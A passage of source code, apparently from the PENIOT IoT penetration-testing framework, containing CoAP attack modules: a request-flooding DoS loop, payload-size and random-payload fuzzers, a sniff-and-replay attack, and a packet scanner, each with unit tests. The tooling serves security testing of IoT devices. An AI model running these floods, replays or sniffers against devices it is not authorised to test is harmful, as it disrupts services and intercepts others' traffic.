HelperClient(server=(self.host, self.port))\n        self.method = PeniotCoAP.get_coap_methods_by_name(self.method_string)\n\n    def run(self):\n        super(CoAPDoSAttack, self).run()\n        self.pre_attack_init()\n\n        # Start client loop for requests\n        while self.stopped_flag is False:\n            self.sent_message_count += 1\n            response = PeniotCoAP.make_request(self.client, self.path, self.method, self.payload)\n            self.logger.info(\"Received message = {0}\".format(str(response.line_print)))\n            time.sleep(self.timeout)\n\n\nclass TestCoAPDoSAttack(unittest.TestCase):\n    def setUp(self):\n        self.coap_dos_attack = CoAPDoSAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"CoAP DoS Attack\", self.coap_dos_attack.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.coap_dos_attack.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 6)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.coap_dos_attack.get_inputs()\n        for _input in inputs:\n            value = getattr(self.coap_dos_attack, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"a.b.c.d\", 8888, \"peniot-coap-test\", \"pOst\", \"peniot\", 13.2]\n        for index, _input in enumerate(example_inputs):\n            self.coap_dos_attack.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.coap_dos_attack.client)\n\n        super(CoAPDoSAttack, self.coap_dos_attack).run()\n\n        inputs = self.coap_dos_attack.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.coap_dos_attack, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_dos_attack(self):\n        def run_attack():\n            example_inputs = [\"127.0.0.1\", 5683, \"peniot\", \"get\", \"peniot\", 0.01]\n            for index, _input in enumerate(example_inputs):\n                self.coap_dos_attack.inputs[index].set_value(_input)\n\n            self.coap_dos_attack.run()\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=\"DoS Attack\")\n        p.start()\n        time.sleep(5)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/CoAP/attacks/coap_fuzzing_attack_suite.py",
    "content": "from Entity.attack_suite import AttackSuite\nfrom coap_payload_size_fuzzer import *\nfrom coap_random_payload_fuzzing import *\n\nimport multiprocessing\nimport unittest\n\n\nclass CoAPFuzzingAttackSuite(AttackSuite):\n\n    def __init__(self):\n        attacks = [CoAPRandomPayloadFuzzingAttack(), CoAPPayloadSizeFuzzerAttack()]\n        AttackSuite.__init__(self, \"CoAP Fuzzing Attack Suite\", attacks)\n\n\nclass TestCoAPFuzzingAttackSuite(unittest.TestCase):\n    def setUp(self):\n        self.coap_fuzzing_attack_suite = CoAPFuzzingAttackSuite()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"CoAP Fuzzing Attack Suite\", self.coap_fuzzing_attack_suite.get_attack_suite_name())\n\n    def test_attack_list(self):\n        attacks = self.coap_fuzzing_attack_suite.get_attacks()\n        self.assertIsNotNone(attacks)\n        self.assertGreater(len(attacks), 0, \"Non inserted attacks\")\n        self.assertEquals(len(attacks), 2)\n\n    def test_attacks(self):\n        attacks = self.coap_fuzzing_attack_suite.get_attacks()\n        for attack in attacks:\n            p = multiprocessing.Process(target=attack.run, name=attack.get_attack_name())\n            p.start()\n            time.sleep(5)\n            if p.is_alive():\n                p.terminate()\n                p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/CoAP/attacks/coap_payload_size_fuzzer.py",
    "content": "import logging\nimport multiprocessing\nimport random\nimport signal\nimport time\nimport unittest\n\nfrom coapthon.client.helperclient import HelperClient\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom protocols import CoAP as PeniotCoAP\n\n\nclass CoAPPayloadSizeFuzzerAttack(Attack):\n    \"\"\"\n    CoAP Protocol - Payload Size Fuzzer Attack module\n    It is created to test any CoAP device as black box test with malformed or semi-malformed inputs\n    \"\"\"\n    client = None\n\n    # Input Fields\n    host = None\n    port = None\n    path = None\n    method = None\n    method_string = PeniotCoAP.get_coap_methods_as_string(PeniotCoAP.CoAPMethods.POST)\n    fuzzing_turn = 10\n\n    # Miscellaneous Members\n    logger = None\n    max_payload_length = 2 ** 16 - 1\n    sent_message_count = 0  # Transmitted fuzzing packets\n    stopped_flag = False\n\n    def __init__(self):\n        default_parameters = [\"\", \"\", \"\", \"\", 10, self.max_payload_length]\n        inputs = [\n            InputFormat(\"Host Name\", \"host\", \"\", str, mandatory=True),\n            InputFormat(\"Port Number\", \"port\", \"\", int, mandatory=True),\n            InputFormat(\"Endpoint\", \"path\", \"\", str, mandatory=True),\n            InputFormat(\"Method\", \"method_string\", self.method_string, str, mandatory=True),\n            InputFormat(\"Fuzzing Round Count\", \"fuzzing_turn\", self.fuzzing_turn, int),\n            InputFormat(\"Maximum Payload Size\", \"max_payload_length\", self.max_payload_length, int, mandatory=True)\n        ]\n\n        Attack.__init__(self, \"CoAP Payload Size Fuzzer Attack\", inputs, default_parameters,\n                        \"    CoAP Payload size fuzzer attack description\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Sent message count: {0}, exitting...\".format(self.sent_message_count))\n        self.stopped_flag = True\n        if self.client is not None:\n            self.client.stop()\n            self.client = None\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n\n    def pre_attack_init(self):\n        try:\n            assert PeniotCoAP.does_method_have_payload(self.method) and self.fuzzing_turn >= 2\n        except AssertionError as e:\n            raise\n        self.client = HelperClient(server=(self.host, self.port))\n        self.method = PeniotCoAP.get_coap_methods_by_name(self.method_string)\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_init()\n\n        # Fill the size list as randomly generated\n        size_list = [0, self.max_payload_length]\n        size_list.extend([random.randint(0, self.max_payload_length) for _ in range(self.fuzzing_turn - 2)])\n\n        fuzzing = 0\n        self.logger.info(\"Size payload fuzzing is started. Please consider it may take some time.\")\n        for payload_size in size_list:\n\n            if self.stopped_flag is True:  # Attack is terminated\n                break\n\n            # Create payload and send it\n            random_strings = \"\".join([chr(_) for _ in range(65, 91)]) + \"\".join([chr(_) for _ in range(97, 123)])\n            random_character = random.choice(random_strings)\n            sized_payload = random_character * payload_size\n            PeniotCoAP.make_request(self.client, self.path, self.method, sized_payload)\n\n            # Informative procedures\n            self.logger.info(\"Turn {0} is completed\".format(fuzzing + 1))\n            self.sent_message_count += 1\n            fuzzing += 1\n            time.sleep(1)\n\n        if self.stopped_flag is False:\n            self.logger.info(\"Payload size attack is finished.\")\n        else:\n            self.logger.info(\"Payload size attack has been terminated.\")\n\n        if self.client is not None:\n            self.client.stop()\n            self.client = None\n\n\nclass TestCoAPPayloadSizeAttack(unittest.TestCase):\n    def setUp(self):\n        self.coap_payload_size_fuzzer = CoAPPayloadSizeFuzzerAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"CoAP Payload Size Fuzzer Attack\", self.coap_payload_size_fuzzer.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.coap_payload_size_fuzzer.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 6)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.coap_payload_size_fuzzer.get_inputs()\n        for _input in inputs:\n            value = getattr(self.coap_payload_size_fuzzer, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"a.b.c.d\", 8888, \"peniot-coap-test\", \"PuT\", 13, 6583]\n        for index, _input in enumerate(example_inputs):\n            self.coap_payload_size_fuzzer.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.coap_payload_size_fuzzer.client)\n\n        super(CoAPPayloadSizeFuzzerAttack, self.coap_payload_size_fuzzer).run()\n\n        inputs = self.coap_payload_size_fuzzer.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.coap_payload_size_fuzzer, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_invalid_method(self):\n        example_inputs = [\"127.0.0.1\", 8888, \"peniot-coap-test\", \"geT\", 13, 6583]\n        for index, _input in enumerate(example_inputs):\n            self.coap_payload_size_fuzzer.inputs[index].set_value(_input)\n\n        super(CoAPPayloadSizeFuzzerAttack, self.coap_payload_size_fuzzer).run()\n        try:\n            self.coap_payload_size_fuzzer.pre_attack_init()\n        except AssertionError as e:\n            self.assertTrue(True)\n\n    def test_invalid_fuzzing_turn(self):\n        example_inputs = [\"127.0.0.1\", 8888, \"peniot-coap-test\", \"puT\", 1, 6583]\n        for index, _input in enumerate(example_inputs):\n            self.coap_payload_size_fuzzer.inputs[index].set_value(_input)\n\n        super(CoAPPayloadSizeFuzzerAttack, self.coap_payload_size_fuzzer).run()\n        try:\n            self.coap_payload_size_fuzzer.pre_attack_init()\n        except AssertionError as e:\n            self.assertTrue(True)\n\n    def test_payload_size_fuzzing_attack(self):\n        def run_attack():\n            example_inputs = [\"127.0.0.1\", 5683, \"peniot\", \"pOsT\", 3, 6583]\n            for index, _input in enumerate(example_inputs):\n                self.coap_payload_size_fuzzer.inputs[index].set_value(_input)\n\n            try:\n                self.coap_payload_size_fuzzer.run()\n            except Exception as e:\n                self.assertTrue(False)\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=\"DoS Attack\")\n        p.start()\n        time.sleep(5)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/CoAP/attacks/coap_random_payload_fuzzing.py",
    "content": "import logging\nimport multiprocessing\nimport random\nimport signal\nimport time\nimport unittest\n\nfrom coapthon.client.helperclient import HelperClient\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils.FuzzerUtil import radamsa_util as rdm\nfrom protocols import CoAP as PeniotCoAP\n\n\nclass CoAPRandomPayloadFuzzingAttack(Attack):\n    \"\"\"\n    CoAP Protocol - Random Payload Fuzzing Attack module\n    It is created to test any CoAP device as black box test with malformed or semi-malformed inputs\n    \"\"\"\n    client = None\n\n    # Input Fields\n    host = None\n    port = None\n    path = None\n    payload = None\n    method = None\n    method_string = PeniotCoAP.get_coap_methods_as_string(PeniotCoAP.CoAPMethods.POST)\n    fuzzing_turn = 10\n    fuzzing_count = 10\n\n    # Miscellaneous Members\n    logger = None\n    max_length_of_random_payload = 100\n    sent_message_count = 0  # Transmitted fuzzing packets\n    stopped_flag = False\n\n    def __init__(self):\n        default_parameters = [\"\", \"\", \"\", \"\", \"\", 2, 10, 100]\n        inputs = [\n            InputFormat(\"Host Name\", \"host\", \"\", str, mandatory=True),\n            InputFormat(\"Port Number\", \"port\", \"\", int, mandatory=True),\n            InputFormat(\"Endpoint\", \"path\", \"\", str, mandatory=True),\n            InputFormat(\"Seed Payload\", \"payload\", \"\", str, mandatory=True),\n            InputFormat(\"Method\", \"method_string\", self.method_string, str, mandatory=True),\n            InputFormat(\"Fuzzing Round Count\", \"fuzzing_turn\", self.fuzzing_turn, int),\n            InputFormat(\"Number of fuzzer messages\", \"fuzzing_count\", self.fuzzing_count, int),\n            InputFormat(\"Payload length\", \"max_length_of_random_payload\", self.max_length_of_random_payload, int, mandatory=True)\n        ]\n\n        Attack.__init__(self, \"CoAP Random Payload Fuzzing Attack\", inputs, default_parameters,\n                        \"    It creates a random payload and sends \\n\"\n                        \"    this payload to the client.\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Sent message count: {0}, exitting...\".format(self.sent_message_count))\n        self.stopped_flag = True\n        if self.client is not None:\n            self.client.stop()\n            self.client = None\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n\n    def pre_attack_init(self):\n        self.client = HelperClient(server=(self.host, self.port))\n        self.method = PeniotCoAP.get_coap_methods_by_name(self.method_string)\n        try:\n            assert PeniotCoAP.does_method_have_payload(self.method) and self.fuzzing_turn >= 2\n        except AssertionError as e:\n            raise\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_init()\n\n        self.logger.info(\"Random payload fuzzing is started.\")\n\n        if self.payload is None:\n            length = random.randint(1, self.max_length_of_random_payload)\n            self.payload = \"\".join([chr(random.randint(1, 127)) for _ in range(length)])\n\n        for fuzzing in range(self.fuzzing_turn):\n            if self.stopped_flag is True:\n                break\n            while self.stopped_flag is False:\n                try:\n                    returned_strings = rdm.get_ascii_decodable_radamsa_malformed_input(self.payload, self.fuzzing_count)\n                    if type(returned_strings) == list:\n                        fuzzer_messages = [string.decode(\"utf-8\") for string in returned_strings]\n                    else:\n                        fuzzer_messages = returned_strings.decode(\"utf-8\")\n                    break\n                except UnicodeDecodeError:\n                    continue\n            # Check whether result is list or not\n            if type(fuzzer_messages) == list:\n                for message in fuzzer_messages:\n                    PeniotCoAP.make_request(self.client, self.path, self.method, message)\n                    # Increment sent message count\n                    self.sent_message_count += 1\n            else:\n                PeniotCoAP.make_request(self.client, self.path, self.method, fuzzer_messages)\n                # Increment sent message count\n                self.sent_message_count += 1\n            time.sleep(1)\n            self.logger.info(\"Turn {0} is completed\".format(fuzzing + 1))\n\n        if self.stopped_flag is False:\n            self.logger.info(\"Random payload fuzzing is finished.\")\n        else:\n            self.logger.info(\"Random payload fuzzing has been terminated.\")\n\n        if self.client is not None:\n            self.client.stop()\n            self.client = None\n\n\nclass TestCoAPRandomPayloadAttack(unittest.TestCase):\n    def setUp(self):\n        self.coap_random_payload_fuzzer = CoAPRandomPayloadFuzzingAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"CoAP Random Payload Fuzzing Attack\", self.coap_random_payload_fuzzer.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.coap_random_payload_fuzzer.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 8)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.coap_random_payload_fuzzer.get_inputs()\n        for _input in inputs:\n            value = getattr(self.coap_random_payload_fuzzer, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"a.b.c.d\", 8888, \"peniot-coap-test\", \"Heyyo\", \"PuT\", 13, 12, 11]\n        for index, _input in enumerate(example_inputs):\n            self.coap_random_payload_fuzzer.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.coap_random_payload_fuzzer.client)\n\n        super(CoAPRandomPayloadFuzzingAttack, self.coap_random_payload_fuzzer).run()\n\n        inputs = self.coap_random_payload_fuzzer.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.coap_random_payload_fuzzer, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_invalid_method(self):\n        example_inputs = [\"127.0.0.1\", 8888, \"peniot-coap-test\", \"Ghetto\", \"geT\", 13, 12, 11]\n        for index, _input in enumerate(example_inputs):\n            self.coap_random_payload_fuzzer.inputs[index].set_value(_input)\n\n        super(CoAPRandomPayloadFuzzingAttack, self.coap_random_payload_fuzzer).run()\n        try:\n            self.coap_random_payload_fuzzer.pre_attack_init()\n        except AssertionError as e:\n            self.assertTrue(True)\n\n    def test_invalid_fuzzing_turn(self):\n        example_inputs = [\"127.0.0.1\", 8888, \"peniot-coap-test\", \"Keyyo\", \"puT\", 1, 12, 11]\n        for index, _input in enumerate(example_inputs):\n            self.coap_random_payload_fuzzer.inputs[index].set_value(_input)\n\n        super(CoAPRandomPayloadFuzzingAttack, self.coap_random_payload_fuzzer).run()\n        try:\n            self.coap_random_payload_fuzzer.pre_attack_init()\n        except AssertionError as e:\n            self.assertTrue(True)\n\n    def test_random_payload_fuzzing_attack(self):\n        def run_attack():\n            example_inputs = [\"127.0.0.1\", 5683, \"peniot\", None, \"pOsT\", 3, 5, 12]\n            for index, _input in enumerate(example_inputs):\n                self.coap_random_payload_fuzzer.inputs[index].set_value(_input)\n\n            try:\n                self.coap_random_payload_fuzzer.run()\n            except Exception as e:\n                self.assertTrue(False)\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=self.coap_random_payload_fuzzer.get_attack_name())\n        p.start()\n        time.sleep(15)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/CoAP/attacks/coap_replay_attack.py",
    "content": "import logging\nimport signal\nimport socket\nimport time\nimport unittest\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils.SnifferUtil import generic_sniffer\nfrom protocols.CoAP.coap_scanner import CoAPScanner\n\n\nclass CoAPReplayAttack(Attack):\n    \"\"\"\n    CoAP Protocol - Replay Attack module\n    It is created to scan/sniff the valid traffic of target protocol and send the selected packets to the target device\n    \"\"\"\n    captured_packets = None\n\n    # Input Fields\n    selected_index = 0\n    timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT\n    interface = generic_sniffer.DEFAULT_INTERFACE\n\n    # Miscellaneous Members\n    logger = None\n\n    def __init__(self):\n        default_parameters = [\"\", 10, \"any\"]\n        inputs = [\n            InputFormat(\"Selected packet index\", \"selected_index\", self.selected_index, int, mandatory=True),\n            InputFormat(\"Timeout\", \"timeout\", self.timeout, float),\n            InputFormat(\"Interface\", \"interface\", str(self.interface), str, mandatory=True)\n        ]\n\n        Attack.__init__(self, \"CoAP Replay Attack\", inputs, default_parameters,\n                        \"    It listens to the network traffic and\\n\"\n                        \"    sends captured packets without changing anything.\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Exitting...\")\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n\n    def pre_attack_init(self):\n        try:\n            assert self.selected_index >= 0\n        except AssertionError as e:\n            self.logger.error(\"Invalid input value!\")\n            raise\n\n    def run(self):\n        super(CoAPReplayAttack, self).run()\n        self.pre_attack_process()  # Sniff the packets so we can replay\n        self.pre_attack_init()  # Do the necessary checks\n        try:\n            selected_packet = self.captured_packets[self.selected_index]\n            self.logger.info(selected_packet)\n            udp_payload = CoAPScanner.get_raw_udp_payload_as_bytes(selected_packet)\n            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n            sock.sendto(udp_payload, (str(selected_packet[\"ip\"].dst), int(selected_packet[\"udp\"].dstport)))\n        except IndexError as e:\n            self.logger.error(\"Invalid packet index. Indices start from 0...\")\n\n    def pre_attack_process(self):\n        \"\"\"\n        TODO Need to think how we can integrate such a pre_called method to GUI before attack execution\n        Scans valid packets to be replayed\n        \"\"\"\n        super(CoAPReplayAttack, self).set_input_value(\"timeout\")\n        try:\n            assert self.timeout >= 0\n            self.captured_packets = CoAPScanner().scan(self.timeout, self.interface, True)\n        except AssertionError as e:\n            self.logger.error(\"Invalid timeout for scan operation!\")\n\n\nclass TestCoAPReplayAttack(unittest.TestCase):\n    def setUp(self):\n        self.coap_replay_attack = CoAPReplayAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"CoAP Replay Attack\", self.coap_replay_attack.get_attack_name())\n\n    def test_non_initialized_inputs(self):\n        inputs = self.coap_replay_attack.get_inputs()\n        for _input in inputs:\n            value = getattr(self.coap_replay_attack, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [8, 13.2, \"test-interface\"]\n        for index, _input in enumerate(example_inputs):\n            self.coap_replay_attack.inputs[index].set_value(_input)\n\n        super(CoAPReplayAttack, self.coap_replay_attack).run()\n\n        inputs = self.coap_replay_attack.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.coap_replay_attack, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_replay_attack(self):\n        example_inputs = [0, 15., \"any\"]\n        for index, _input in enumerate(example_inputs):\n            self.coap_replay_attack.inputs[index].set_value(_input)\n\n        self.coap_replay_attack.pre_attack_process()\n        packets = self.coap_replay_attack.captured_packets\n\n        self.assertIsNotNone(packets)\n        self.assertTrue(type(packets) == list)\n        self.assertGreaterEqual(len(packets), 0)\n\n        if len(packets) > 0:\n            self.coap_replay_attack.run()\n            self.assertTrue(True)\n        else:\n            self.assertTrue(False)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/CoAP/attacks/coap_sniff_attack.py",
    "content": "import logging\nimport signal\nimport time\nimport unittest\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils import CommonUtil\nfrom Utils.SnifferUtil import generic_sniffer\nfrom protocols.CoAP.coap_scanner import CoAPScanner\n\n\nclass CoAPSniffAttack(Attack):\n    \"\"\"\n    It is created to scan/sniff the devices for their information\n    CoAP Protocol - Sniff Attack module\n    \"\"\"\n    # Input Fields\n    timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT\n    interface = generic_sniffer.DEFAULT_INTERFACE\n    save_output = generic_sniffer.DEFAULT_SAVE\n\n    # Miscellaneous Members\n    logger = None\n\n    def __init__(self):\n        default_parameters = [10.0, generic_sniffer.DEFAULT_INTERFACE, generic_sniffer.DEFAULT_SAVE]\n        inputs = [\n            InputFormat(\"Timeout\", \"timeout\", self.timeout, float),\n            InputFormat(\"Interface\", \"interface\", str(self.interface), str, mandatory=True),\n            InputFormat(\"Save Captured Packets\", \"save_output\", str(self.save_output), bool)\n        ]\n\n        Attack.__init__(self, \"CoAP Sniff Attack\", inputs, default_parameters,\n                        \"    It listens to the network traffic and\\n\"\n                        \"    captures CoAP packets.\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Exitting...\")\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n\n    def run(self):\n        super(CoAPSniffAttack, self).run()\n        packets = CoAPScanner().scan(self.timeout, self.interface,\n                                     output_pcap_filename=\"CoAP_\" + CommonUtil.get_current_datetime_for_filename_format() if self.save_output else None)\n\n        for packet in packets:\n            self.logger.info(packet)\n\n        return packets\n\n\nclass TestCoAPSniffAttack(unittest.TestCase):\n    def setUp(self):\n        self.coap_sniff_attack = CoAPSniffAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"CoAP Sniff Attack\", self.coap_sniff_attack.get_attack_name())\n\n    def test_non_initialized_inputs(self):\n        inputs = self.coap_sniff_attack.get_inputs()\n        for _input in inputs:\n            value = getattr(self.coap_sniff_attack, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [13.2, \"test-interface\", False]\n        for index, _input in enumerate(example_inputs):\n            self.coap_sniff_attack.inputs[index].set_value(_input)\n\n        super(CoAPSniffAttack, self.coap_sniff_attack).run()\n\n        inputs = self.coap_sniff_attack.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.coap_sniff_attack, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_sniff_attack(self):\n        example_inputs = [10.0]\n        for index, _input in enumerate(example_inputs):\n            self.coap_sniff_attack.inputs[index].set_value(_input)\n\n        packets = self.coap_sniff_attack.run()\n        self.assertIsNotNone(packets)\n        self.assertTrue(type(packets) == list)\n        self.assertGreaterEqual(len(packets), 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/CoAP/coap_protocol.py",
    "content": "from Entity.protocol import Protocol\n\nimport unittest\n\n\nclass CoAP(Protocol):\n\n    def __init__(self):\n        co_ap_definition = \"CoAP (Constrained Application Protocol) is designed as a lightweight machine-to-machine \" \\\n                          \"(M2M) protocol that can run on smart devices where memory and computing resources are \" \\\n                          \"scarce.\\n\\n\" \\\n                          \"The protocol is especially targeted for constrained hardware such as 8-bits microcontrollers \" \\\n                          \",low power sensors and similar devices that can not run on HTTP or TLS. CoAP is a \" \\\n                          \"simplification of the HTTP protocol running on UDP, that helps save bandwidth. But just \" \\\n                          \"like any other UDP-based protocol, CoAP is inherently susceptible to IP address \" \\\n                          \"spoofing and packet amplification, the two major factors that enable the amplification of \" \\\n                          \" a DDoS attack.\\n\\nLike HTTP, CoAP is based on the wildly successful REST model: Servers \" \\\n                          \"make resources available under a URL, and clients access these resources using methods \" \\\n                          \"such as GET, PUT, POST, and DELETE.\\n\\nCoAP can carry different types of payloads, and \" \\\n                          \"can identify which payload type is being used. CoAP integrates with XML, JSON, CBOR, or \" \\\n                          \"any data format of your choice.\\n\\nCoAP is designed to use minimal resources, both on \" \\\n                          \"the device and on the network. Instead of a complex transport stack, it gets by with UDP \" \\\n                          \"on IP. A 4-byte fixed header and a compact encoding of options enables small messages that\" \\\n                          \"cause no or little fragmentation on the link layer. Many servers can operate in a \" \\\n                          \"completely stateless fashion.\"\n\n        attack_suites = []\n        Protocol.__init__(self, \"CoAP\", attack_suites, co_ap_definition)\n\n\nclass TestCoAPProtocol(unittest.TestCase):\n    def setUp(self):\n        self.coap = CoAP()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"CoAP\", self.coap.get_protocol_name())\n\n    def test_attacks(self):\n        attack_suites = self.coap.get_attack_suites()\n        self.assertIsNotNone(attack_suites)\n        self.assertEquals(len(attack_suites), 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/CoAP/coap_scanner.py",
    "content": "from Utils.SnifferUtil import generic_sniffer as generic_sniffer\n\nimport socket\n\n# Capturing via TShark\ncoap_layer_filter = 'coap'\n\n\nclass CoAPScanner:\n    \"\"\"\n    This class is used to scan for a CoAP device.\n    It captures packets from the network and try to find CoAP devices.\n    \"\"\"\n\n    def __init__(self):\n        pass\n\n    @staticmethod\n    def scan(timeout=generic_sniffer.DEFAULT_SNIFF_TIMEOUT, interface=generic_sniffer.DEFAULT_INTERFACE,\n             use_json_and_include_raw=False, output_pcap_filename=None):\n        sniffer = generic_sniffer.GenericSniffer(timeout=timeout, interface=interface,\n                                                 use_json=use_json_and_include_raw,\n                                                 include_raw=use_json_and_include_raw,\n                                                 output_pcap_filename=output_pcap_filename,\n                                                 display_filter=coap_layer_filter)\n        sniffer.start_live_capture()\n        return sniffer.get_captured_packets()\n\n    @staticmethod\n    def get_raw_udp_payload_as_bytes(packet):\n        return (packet.coap_raw.value[0]).decode(\"hex\")\n\n    @staticmethod\n    def get_raw_frame_as_bytes(packet):\n        return (packet.frame_raw.value[0]).decode(\"hex\")\n\n\nif __name__ == '__main__':\n    raw = False\n    packets = CoAPScanner().scan()\n    \"\"\"\n    for i in packets:\n        # Send messages to server as replayed\n        if raw:\n            if \"<DATA Layer>\" not in str(i.layers):\n                udp_payload = CoAPScanner.get_raw_udp_payload_as_bytes(i)\n                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n                sock.sendto(udp_payload, (\"127.0.0.1\", 5683))\n        else:\n            print i\n    \"\"\"\n"
  },
  {
    "path": "src/protocols/CoAP/examples/__init__.py",
    "content": "\"\"\"\n    This package contains the following functionalities:\n\n    1) CoAP Server Example\n    2) CoAP Client Example\n    3) CoAP Resource Example\n\"\"\"\n"
  },
  {
    "path": "src/protocols/CoAP/examples/client_example.py",
    "content": "from coapthon.client.helperclient import HelperClient\n\nimport argparse\nimport logging\nimport signal\nimport sys\nimport time\n\nDEFAULT_HOST = \"127.0.0.1\"\nDEFAULT_PORT = 5683\nDEFAULT_PATH = \"peniot\"\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"CoAP Client\")\n\nglobal_client = None\n\n\"\"\"\n    CoAP Basic Client\n\"\"\"\n\n\ndef signal_handler(sig, frame):\n    global global_client\n    logger.info(\"Connection will be closed\")\n    if global_client is not None:\n        global_client.stop()\n    sys.exit(0)\n\n\ndef client_procedure(host, port, path):\n    \"\"\"\n    Client procedure for CoAP\n    :param host: Host address to connect\n    :param port: Port number of server\n    :param path: Path as endpoint to request resources\n    :return: None\n    \"\"\"\n    # Signal handler to exit from function\n    signal.signal(signal.SIGINT, signal_handler)\n\n    # Make global client available to exit properly\n    global global_client\n    client = HelperClient(server=(host, port))\n    global_client = client\n\n    # Start client loop for requests\n    while True:\n        response = client.get(path)\n        logger.info(\"Received message = {0}\".format(str(response.line_print)))\n        time.sleep(2)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-H\", 